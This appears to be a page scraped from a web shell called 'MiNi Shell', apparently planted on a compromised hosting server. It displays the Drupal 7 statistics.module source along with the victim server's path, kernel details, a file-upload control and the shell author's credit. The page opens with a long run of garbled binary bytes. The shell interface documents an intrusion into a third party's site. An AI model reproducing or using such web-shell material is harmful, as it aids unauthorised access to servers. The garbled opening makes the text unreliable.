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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/bosweb01/b744/petrogas.gm/schools/stp/drupal-7.69/modules/statistics/

Linux boscustweb5003.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //hermes/bosweb01/b744/petrogas.gm/schools/stp/drupal-7.69/modules/statistics/statistics.module

<?php

/**
 * @file
 * Logs and displays access statistics for a site.
 */

/**
 * Implements hook_help().
 */
function statistics_help($path, $arg) {
  switch ($path) {
    case 'admin/help#statistics':
      $output = '';
      $output .= '<h3>' . t('About') . '</h3>';
      $output .= '<p>' . t('The Statistics module shows you how often a given page is viewed, who viewed it, the previous page the user visited (referrer URL), and when it was viewed. These statistics are useful in determining how users are visiting and navigating your site. For more information, see the online handbook entry for the <a href="@statistics">Statistics module</a>.', array('@statistics' => url('http://drupal.org/documentation/modules/statistics/'))) . '</p>';
      $output .= '<h3>' . t('Uses') . '</h3>';
      $output .= '<dl>';
      $output .= '<dt>' . t('Managing logs') . '</dt>';
      $output .= '<dd>' . t('To enable collection of statistics, the <em>Enable access log</em> checkbox on the <a href="@statistics-settings">Statistics settings page</a> must be checked. The <em>Discard access logs older than</em> setting on the settings page specifies the length of time entries are kept in the log before they are deleted. This setting requires a correctly configured <a href="@cron">cron maintenance task</a> to run.', array('@statistics-settings' => url('admin/config/system/statistics'), '@cron' => 'http://drupal.org/cron')) . '</dd>';
      $output .= '<dt>' . t('Viewing site usage') . '</dt>';
      $output .= '<dd>' . t('The Statistics module can help you break down details about your users and how they are using the site. The module offers four reports:');
      $output .= '<ul><li>' . t('<a href="@recent-hits">Recent hits</a> displays information about the latest activity on your site, including the URL and title of the page that was accessed, the user name (if available) and the IP address of the viewer.', array('@recent-hits' => url('admin/reports/hits'))) . '</li>';
      $output .= '<li>' . t('<a href="@top-referrers">Top referrers</a> displays where visitors came from (referrer URL).', array('@top-referrers' => url('admin/reports/referrers'))) . '</li>';
      $output .= '<li>' . t('<a href="@top-pages">Top pages</a> displays a list of pages ordered by how often they were viewed.', array('@top-pages' => url('admin/reports/pages'))) . '</li>';
      $output .= '<li>' . t('<a href="@top-visitors">Top visitors</a> shows you the most active visitors for your site and allows you to ban abusive visitors.', array('@top-visitors' => url('admin/reports/visitors'))) . '</li></ul>';
      $output .= '<dt>' . t('Displaying popular content') . '</dt>';
      $output .= '<dd>' . t('The module includes a <em>Popular content</em> block that displays the most viewed pages today and for all time, and the last content viewed. To use the block, enable <em>Count content views</em> on the <a href="@statistics-settings">statistics settings page</a>, and then you can enable and configure the block on the <a href="@blocks">blocks administration page</a>.', array('@statistics-settings' => url('admin/config/system/statistics'), '@blocks' => url('admin/structure/block'))) . '</dd>';
      $output .= '<dt>' . t('Page view counter') . '</dt>';
      $output .= '<dd>' . t('The Statistics module includes a counter for each page that increases whenever the page is viewed. To use the counter, enable <em>Count content views</em> on the <a href="@statistics-settings">statistics settings page</a>, and set the necessary <a href="@permissions">permissions</a> (<em>View content hits</em>) so that the counter is visible to the users.', array('@statistics-settings' => url('admin/config/system/statistics'), '@permissions' => url('admin/people/permissions', array('fragment' => 'module-statistics')))) . '</dd>';
      $output .= '</dl>';
      return $output;
    case 'admin/config/system/statistics':
      return '<p>' . t('Settings for the statistical information that Drupal will keep about the site. See <a href="@statistics">site statistics</a> for the actual information.', array('@statistics' => url('admin/reports/hits'))) . '</p>';
    case 'admin/reports/hits':
      return '<p>' . t("This page displays the site's most recent hits.") . '</p>';
    case 'admin/reports/referrers':
      return '<p>' . t('This page displays all external referrers, or external references to your website.') . '</p>';
    case 'admin/reports/visitors':
      return '<p>' . t("When you ban a visitor, you prevent the visitor's IP address from accessing your site. Unlike blocking a user, banning a visitor works even for anonymous users. This is most commonly used to block resource-intensive bots or web crawlers.") . '</p>';
  }
}


/**
 * Implements hook_exit().
 *
 * Gathers statistics for page accesses.
 */
function statistics_exit() {
  global $user;

  // When serving cached pages with the 'page_cache_without_database'
  // configuration, system variables need to be loaded. This is a major
  // performance decrease for non-database page caches, but with Statistics
  // module, it is likely to also have 'statistics_enable_access_log' enabled,
  // in which case we need to bootstrap to the session phase anyway.
  drupal_bootstrap(DRUPAL_BOOTSTRAP_VARIABLES);

  if (variable_get('statistics_count_content_views', 0) && !variable_get('statistics_count_content_views_ajax', 0)) {
    // We are counting content views.
    if (arg(0) == 'node' && is_numeric(arg(1)) && arg(2) == NULL) {
      // A node has been viewed, so update the node's counters.
      db_merge('node_counter')
        ->key(array('nid' => arg(1)))
        ->fields(array(
          'daycount' => 1,
          'totalcount' => 1,
          'timestamp' => REQUEST_TIME,
        ))
        ->expression('daycount', 'daycount + 1')
        ->expression('totalcount', 'totalcount + 1')
        ->execute();
    }
  }
  if (variable_get('statistics_enable_access_log', 0)) {
    // For anonymous users unicode.inc will not have been loaded.
    include_once DRUPAL_ROOT . '/includes/unicode.inc';
    // Log this page access.
    db_insert('accesslog')
      ->fields(array(
        'title' => truncate_utf8(strip_tags(drupal_get_title()), 255),
        'path' => truncate_utf8($_GET['q'], 255),
        'url' => isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '',
        'hostname' => ip_address(),
        'uid' => $user->uid,
        'sid' => session_id(),
        'timer' => (int) timer_read('page'),
        'timestamp' => REQUEST_TIME,
      ))
      ->execute();
  }
}

/**
 * Implements hook_permission().
 */
function statistics_permission() {
  return array(
    'administer statistics' => array(
      'title' => t('Administer statistics'),
    ),
    'access statistics' => array(
      'title' => t('View content access statistics'),
    ),
    'view post access counter' => array(
      'title' => t('View content hits'),
    ),
  );
}

/**
 * Implements hook_node_view().
 */
function statistics_node_view($node, $view_mode) {
  // Attach Ajax node count statistics if configured.
  if (variable_get('statistics_count_content_views', 0) && variable_get('statistics_count_content_views_ajax', 0)) {
    if (!empty($node->nid) && $view_mode == 'full' && node_is_page($node) && empty($node->in_preview)) {
      $statistics = drupal_get_path('module', 'statistics') . '/statistics.js';
      $node->content['#attached']['js'][$statistics] = array(
        'scope' => 'footer',
      );
      $settings = array('data' => array('nid' => $node->nid), 'url' => url(drupal_get_path('module', 'statistics') . '/statistics.php'));
      $node->content['#attached']['js'][] = array(
        'data' => array('statistics' => $settings),
        'type' => 'setting',
      );
    }
  }

  if ($view_mode != 'rss') {
    if (user_access('view post access counter')) {
      $statistics = statistics_get($node->nid);
      if ($statistics) {
        $links['statistics_counter']['title'] = format_plural($statistics['totalcount'], '1 read', '@count reads');
        $node->content['links']['statistics'] = array(
          '#theme' => 'links__node__statistics',
          '#links' => $links,
          '#attributes' => array('class' => array('links', 'inline')),
        );
      }
    }
  }
}

/**
 * Implements hook_menu().
 */
function statistics_menu() {
  $items['admin/reports/hits'] = array(
    'title' => 'Recent hits',
    'description' => 'View pages that have recently been visited.',
    'page callback' => 'statistics_recent_hits',
    'access arguments' => array('access statistics'),
    'file' => 'statistics.admin.inc',
  );
  $items['admin/reports/pages'] = array(
    'title' => 'Top pages',
    'description' => 'View pages that have been hit frequently.',
    'page callback' => 'statistics_top_pages',
    'access arguments' => array('access statistics'),
    'weight' => 1,
    'file' => 'statistics.admin.inc',
  );
  $items['admin/reports/visitors'] = array(
    'title' => 'Top visitors',
    'description' => 'View visitors that hit many pages.',
    'page callback' => 'statistics_top_visitors',
    'access arguments' => array('access statistics'),
    'weight' => 2,
    'file' => 'statistics.admin.inc',
  );
  $items['admin/reports/referrers'] = array(
    'title' => 'Top referrers',
    'description' => 'View top referrers.',
    'page callback' => 'statistics_top_referrers',
    'access arguments' => array('access statistics'),
    'file' => 'statistics.admin.inc',
  );
  $items['admin/reports/access/%'] = array(
    'title' => 'Details',
    'description' => 'View access log.',
    'page callback' => 'statistics_access_log',
    'page arguments' => array(3),
    'access arguments' => array('access statistics'),
    'file' => 'statistics.admin.inc',
  );
  $items['admin/config/system/statistics'] = array(
    'title' => 'Statistics',
    'description' => 'Control details about what and how your site logs access statistics.',
    'page callback' => 'drupal_get_form',
    'page arguments' => array('statistics_settings_form'),
    'access arguments' => array('administer statistics'),
    'file' => 'statistics.admin.inc',
    'weight' => -15,
  );
  $items['user/%user/track/navigation'] = array(
    'title' => 'Track page visits',
    'page callback' => 'statistics_user_tracker',
    'access callback' => 'user_access',
    'access arguments' => array('access statistics'),
    'type' => MENU_LOCAL_TASK,
    'weight' => 2,
    'file' => 'statistics.pages.inc',
  );
  $items['node/%node/track'] = array(
    'title' => 'Track',
    'page callback' => 'statistics_node_tracker',
    'access callback' => 'user_access',
    'access arguments' => array('access statistics'),
    'type' => MENU_LOCAL_TASK,
    'weight' => 2,
    'file' => 'statistics.pages.inc',
  );

  return $items;
}

/**
 * Implements hook_user_cancel().
 */
function statistics_user_cancel($edit, $account, $method) {
  switch ($method) {
    case 'user_cancel_reassign':
      db_update('accesslog')
        ->fields(array('uid' => 0))
        ->condition('uid', $account->uid)
        ->execute();
      break;
  }
}

/**
 * Implements hook_user_delete().
 */
function statistics_user_delete($account) {
  db_delete('accesslog')
    ->condition('uid', $account->uid)
    ->execute();
}

/**
 * Implements hook_cron().
 */
function statistics_cron() {
  $statistics_timestamp = variable_get('statistics_day_timestamp', 0);

  if ((REQUEST_TIME - $statistics_timestamp) >= 86400) {
    // Reset day counts.
    db_update('node_counter')
      ->fields(array('daycount' => 0))
      ->execute();
    variable_set('statistics_day_timestamp', REQUEST_TIME);
  }

  // Clean up expired access logs (if applicable).
  if (variable_get('statistics_flush_accesslog_timer', 259200) > 0) {
    db_delete('accesslog')
      ->condition('timestamp', REQUEST_TIME - variable_get('statistics_flush_accesslog_timer', 259200), '<')
      ->execute();
  }
}

/**
 * Returns the most viewed content of all time, today, or the last-viewed node.
 *
 * @param $dbfield
 *   The database field to use, one of:
 *   - 'totalcount': Integer that shows the top viewed content of all time.
 *   - 'daycount': Integer that shows the top viewed content for today.
 *   - 'timestamp': Integer that shows only the last viewed node.
 * @param $dbrows
 *   The number of rows to be returned.
 *
 * @return SelectQuery|FALSE
 *   A query result containing the node ID, title, user ID that owns the node,
 *   and the username for the selected node(s), or FALSE if the query could not
 *   be executed correctly.
 */
function statistics_title_list($dbfield, $dbrows) {
  if (in_array($dbfield, array('totalcount', 'daycount', 'timestamp'))) {
    $query = db_select('node', 'n');
    $query->addTag('node_access');
    $query->join('node_counter', 's', 'n.nid = s.nid');
    $query->join('users', 'u', 'n.uid = u.uid');

    return $query
      ->fields('n', array('nid', 'title'))
      ->fields('u', array('uid', 'name'))
      ->condition($dbfield, 0, '<>')
      ->condition('n.status', 1)
      ->orderBy($dbfield, 'DESC')
      ->range(0, $dbrows)
      ->execute();
  }
  return FALSE;
}


/**
 * Retrieves a node's "view statistics".
 *
 * @param $nid
 *   The node ID.
 *
 * @return
 *   An associative array containing:
 *   - totalcount: Integer for the total number of times the node has been
 *     viewed.
 *   - daycount: Integer for the total number of times the node has been viewed
 *     "today". For the daycount to be reset, cron must be enabled.
 *   - timestamp: Integer for the timestamp of when the node was last viewed.
 */
function statistics_get($nid) {

  if ($nid > 0) {
    // Retrieve an array with both totalcount and daycount.
    return db_query('SELECT totalcount, daycount, timestamp FROM {node_counter} WHERE nid = :nid', array(':nid' => $nid), array('target' => 'slave'))->fetchAssoc();
  }
}

/**
 * Implements hook_block_info().
 */
function statistics_block_info() {
  $blocks = array();

  if (variable_get('statistics_count_content_views', 0)) {
    $blocks['popular']['info'] = t('Popular content');
    // Too dynamic to cache.
    $blocks['popular']['cache'] = DRUPAL_NO_CACHE;
  }
  return $blocks;
}

/**
 * Implements hook_block_configure().
 */
function statistics_block_configure($delta = '') {
  // Popular content block settings
  $numbers = array('0' => t('Disabled')) + drupal_map_assoc(array(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 15, 20, 25, 30, 40));
  $form['statistics_block_top_day_num'] = array('#type' => 'select', '#title' => t("Number of day's top views to display"), '#default_value' => variable_get('statistics_block_top_day_num', 0), '#options' => $numbers, '#description' => t('How many content items to display in "day" list.'));
  $form['statistics_block_top_all_num'] = array('#type' => 'select', '#title' => t('Number of all time views to display'), '#default_value' => variable_get('statistics_block_top_all_num', 0), '#options' => $numbers, '#description' => t('How many content items to display in "all time" list.'));
  $form['statistics_block_top_last_num'] = array('#type' => 'select', '#title' => t('Number of most recent views to display'), '#default_value' => variable_get('statistics_block_top_last_num', 0), '#options' => $numbers, '#description' => t('How many content items to display in "recently viewed" list.'));
  return $form;
}

/**
 * Implements hook_block_save().
 */
function statistics_block_save($delta = '', $edit = array()) {
  variable_set('statistics_block_top_day_num', $edit['statistics_block_top_day_num']);
  variable_set('statistics_block_top_all_num', $edit['statistics_block_top_all_num']);
  variable_set('statistics_block_top_last_num', $edit['statistics_block_top_last_num']);
}

/**
 * Implements hook_block_view().
 */
function statistics_block_view($delta = '') {
  if (user_access('access content')) {
    $content = array();

    $daytop = variable_get('statistics_block_top_day_num', 0);
    if ($daytop && ($result = statistics_title_list('daycount', $daytop)) && ($node_title_list = node_title_list($result, t("Today's:")))) {
      $content['top_day'] = $node_title_list;
      $content['top_day']['#suffix'] = '<br />';
    }

    $alltimetop = variable_get('statistics_block_top_all_num', 0);
    if ($alltimetop && ($result = statistics_title_list('totalcount', $alltimetop)) && ($node_title_list = node_title_list($result, t('All time:')))) {
      $content['top_all'] = $node_title_list;
      $content['top_all']['#suffix'] = '<br />';
    }

    $lasttop = variable_get('statistics_block_top_last_num', 0);
    if ($lasttop && ($result = statistics_title_list('timestamp', $lasttop)) && ($node_title_list = node_title_list($result, t('Last viewed:')))) {
      $content['top_last'] = $node_title_list;
      $content['top_last']['#suffix'] = '<br />';
    }

    if (count($content)) {
      $block['content'] = $content;
      $block['subject'] = t('Popular content');
      return $block;
    }
  }
}

/**
 * Generates a link to a path, truncating the displayed text to a given width.
 *
 * @param $path
 *   The path to generate the link for.
 * @param $width
 *   The width to set the displayed text of the path.
 *
 * @return
 *   A string as a link, truncated to the width, linked to the given $path.
 */
function _statistics_link($path, $width = 35) {
  $title = drupal_get_path_alias($path);
  $title = truncate_utf8($title, $width, FALSE, TRUE);
  return l($title, $path);
}

/**
 * Formats an item for display, including both the item title and the link.
 *
 * @param $title
 *   The text to link to a path; will be truncated to a maximum width of 35.
 * @param $path
 *   The path to link to; will default to '/'.
 *
 * @return
 *   An HTML string with $title linked to the $path.
 */
function _statistics_format_item($title, $path) {
  $path = ($path ? $path : '/');
  $output  = ($title ? "$title<br />" : '');
  $output .= _statistics_link($path);
  return $output;
}

/**
 * Implements hook_node_delete().
 */
function statistics_node_delete($node) {
  // clean up statistics table when node is deleted
  db_delete('node_counter')
    ->condition('nid', $node->nid)
    ->execute();
}

/**
 * Implements hook_ranking().
 */
function statistics_ranking() {
  if (variable_get('statistics_count_content_views', 0)) {
    return array(
      'views' => array(
        'title' => t('Number of views'),
        'join' => array(
          'type' => 'LEFT',
          'table' => 'node_counter',
          'alias' => 'node_counter',
          'on' => 'node_counter.nid = i.sid',
        ),
        // Inverse law that maps the highest view count on the site to 1 and 0 to 0.
        'score' => '2.0 - 2.0 / (1.0 + node_counter.totalcount * CAST(:scale AS DECIMAL))',
        'arguments' => array(':scale' => variable_get('node_cron_views_scale', 0)),
      ),
    );
  }
}

/**
 * Implements hook_update_index().
 */
function statistics_update_index() {
  variable_set('node_cron_views_scale', 1.0 / max(1, db_query('SELECT MAX(totalcount) FROM {node_counter}')->fetchField()));
}

Creat By MiNi SheLL
Email: devilkiller@gmail.com